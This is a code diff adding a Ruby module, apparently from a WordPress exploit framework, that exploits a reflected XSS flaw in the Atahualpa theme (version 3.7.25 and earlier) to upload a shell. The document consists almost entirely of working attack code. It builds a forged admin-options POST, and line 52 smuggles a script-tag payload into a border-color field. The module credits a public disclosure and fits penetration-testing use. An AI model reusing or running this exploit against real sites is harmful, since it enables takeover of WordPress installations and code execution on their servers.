|
| 1 | +class Wpxf::Exploit::AtahualpaReflectedXssShellUpload < Wpxf::Module |
| 2 | + include Wpxf::WordPress::StagedReflectedXss |
| 3 | + |
| 4 | + def initialize |
| 5 | + super |
| 6 | + |
| 7 | + update_info( |
| 8 | + name: 'Atahualpa Reflected XSS Shell Upload', |
| 9 | + author: [ |
| 10 | + 'Spyros Gasteratos', # Disclosure |
| 11 | + 'Rob Carr <rob[at]rastating.com>' # WPXF module |
| 12 | + ], |
| 13 | + references: [ |
| 14 | + ['WPVDB', '8748'], |
| 15 | + ['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_scripting_in_atahualpa_wordpress_theme.html'] |
| 16 | + ], |
| 17 | + date: 'Mar 02 2017' |
| 18 | + ) |
| 19 | + end |
| 20 | + |
| 21 | + def check |
| 22 | + check_theme_version_from_style('atahualpa', '3.7.25') |
| 23 | + end |
| 24 | + |
| 25 | + def vulnerable_url |
| 26 | + normalize_uri(wordpress_url_admin, 'themes.php?page=atahualpa-options') |
| 27 | + end |
| 28 | + |
| 29 | + def initial_script |
| 30 | + create_basic_post_script( |
| 31 | + vulnerable_url, |
| 32 | + 'widget_container' => 'margin: 0 0 15px 0;', |
| 33 | + 'widget_title' => 'font-size: 1.6em; font-weight: bold;', |
| 34 | + 'widget_lists[li-margin-left]' => '0', |
| 35 | + 'widget_lists[link-border-left-width]' => '7', |
| 36 | + 'widget_lists[link-border-left-color]' => 'CCCCCC', |
| 37 | + 'widget_lists[link-border-left-hover-color]' => '000000', |
| 38 | + 'widget_lists[link-padding-left]' => '5', |
| 39 | + 'widget_lists[link-weight]' => 'normal', |
| 40 | + 'widget_lists[link-color]' => '666666', |
| 41 | + 'widget_lists[link-hover-color]' => '000000', |
| 42 | + 'widget_lists2[li-margin-left]' => '5', |
| 43 | + 'widget_lists2[link-border-left-width]' => '7', |
| 44 | + 'widget_lists2[link-border-left-color]' => 'CCCCCC', |
| 45 | + 'widget_lists2[link-border-left-hover-color]' => '000000', |
| 46 | + 'widget_lists2[link-padding-left]' => '5', |
| 47 | + 'widget_lists2[link-weight]' => 'normal', |
| 48 | + 'widget_lists2[link-color]' => '666666', |
| 49 | + 'widget_lists2[link-hover-color]' => '000000', |
| 50 | + 'widget_lists3[li-margin-left]' => '5', |
| 51 | + 'widget_lists3[link-border-left-width]' => '7', |
| 52 | + 'widget_lists3[link-border-left-color]' => "CCCCCCw66ar\\\"><script>#{xss_ascii_encoded_include_script}<\\/script>", |
| 53 | + 'widget_lists3[link-border-left-hover-color]' => '000000', |
| 54 | + 'widget_lists3[link-padding-left]' => '5', |
| 55 | + 'widget_lists3[link-weight]' => 'normal', |
| 56 | + 'widget_lists3[link-color]' => '666666', |
| 57 | + 'widget_lists3[link-hover-color]' => '000000', |
| 58 | + 'category_widget_display_type' => 'inline', |
| 59 | + 'select_font_size' => 'Default', |
| 60 | + 'action' => 'save', |
| 61 | + 'category' => 'widgets' |
| 62 | + ) |
| 63 | + end |
| 64 | +end |
0 commit comments